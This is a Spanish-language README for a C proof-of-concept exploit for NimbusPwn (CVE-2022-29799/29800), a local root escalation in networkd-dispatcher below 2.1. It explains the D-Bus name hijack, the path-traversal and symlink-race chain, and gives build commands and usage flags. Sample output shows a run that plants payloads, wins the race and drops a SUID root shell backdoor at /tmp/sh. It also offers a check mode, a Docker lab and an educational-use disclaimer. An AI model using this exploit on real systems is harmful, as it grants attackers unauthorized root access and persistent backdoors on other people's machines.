
NimbusPwn (CVE-2022-29799/29800) PoC de escalada de privilegios local en C.
Un PoC en C para NimbusPwn, una escalada de privilegios local en networkd-dispatcher. Un usuario no privilegiado reclama el nombre D-Bus org.freedesktop.network1 y envía un OperationalState manipulado. El demonio root no lo sanitiza (CVE-2022-29799, path traversal), y una condición de carrera de enlace simbólico en el directorio de scripts (CVE-2022-29800, TOCTOU) hace que ejecute un script plantado por el atacante como root — generando un shell SUID root.
Afectado: networkd-dispatcher < 2.1 (corregido en 2.1). Solo Linux. Necesita el D-Bus del sistema y un nombre org.freedesktop.network1 reclamable.
Compilar en Linux (Kali, o la máquina objetivo). No compila ni funciona en macOS/Windows.
git clone https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800.git
cd NimbusPWN-CVE-2022-29799-29800
sudo apt install -y gcc libc6-dev libdbus-1-dev pkg-config
cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)
[!NOTE] Otras distribuciones:
dnf install gcc dbus-devel pkgconf(Fedora/RHEL) opacman -S gcc dbus pkgconf(Arch). La línea de compilación es la misma.
Ejecutar como usuario no privilegiado en un host vulnerable.
./nimbuspwn [-c] [-s SHELL]
-c, --check comprobación de vulnerabilidad no invasiva, sin explotación
-s, --shell SHELL shell a copiar y ejecutar como root (por defecto /bin/sh)
-h, --help mostrar ayuda
Verificar primero (seguro, no planta nada, nunca compite):
$ ./nimbuspwn --check
[+] owned org.freedesktop.network1
[+] verdict: likely vulnerable (org.freedesktop.network1 is claimable, no privesc tried)
Luego explotar:
$ ./nimbuspwn
[*] shell=/bin/sh drop=/tmp/sh attempts=10
[+] owned org.freedesktop.network1
[@] attempt 1 (/tmp/nimbuspwn_93732)
[+] planted 126 payloads (root-owned /sbin execs) in /tmp/nimbuspwn_93732
[*] OperationalState: ../../../tmp/nimbuspwn_93732/poc
[*] signal sent (serial 3)
[@] symlink swapped, waiting for root exec
[+] root backdoor at /tmp/sh, spawning shell
# id
uid=1000(pwn) gid=1000(pwn) euid=0(root) groups=1000(pwn)
La condición de carrera es no determinista, por lo que reintenta (por defecto 10 veces). Use -s /bin/bash en hosts sin /bin/sh.
Un laboratorio vulnerable autocontenido (Ubuntu 20.04 + networkd-dispatcher 2.0 vulnerable). Sin --privileged ni redes del host.
docker compose build
docker compose run --rm nimbuspwn-lab
# inside, as user 'pwn':
./nimbuspwn
El dispatcher 2.0 está incluido en docker/ para que la compilación no dependa de ninguna descarga externa. Log del dispatcher: /var/log/dispatcher.log.
Esta herramienta se proporciona solo con fines educativos y de investigación. El creador no asume ninguna responsabilidad por el mal uso o daño causado por la herramienta.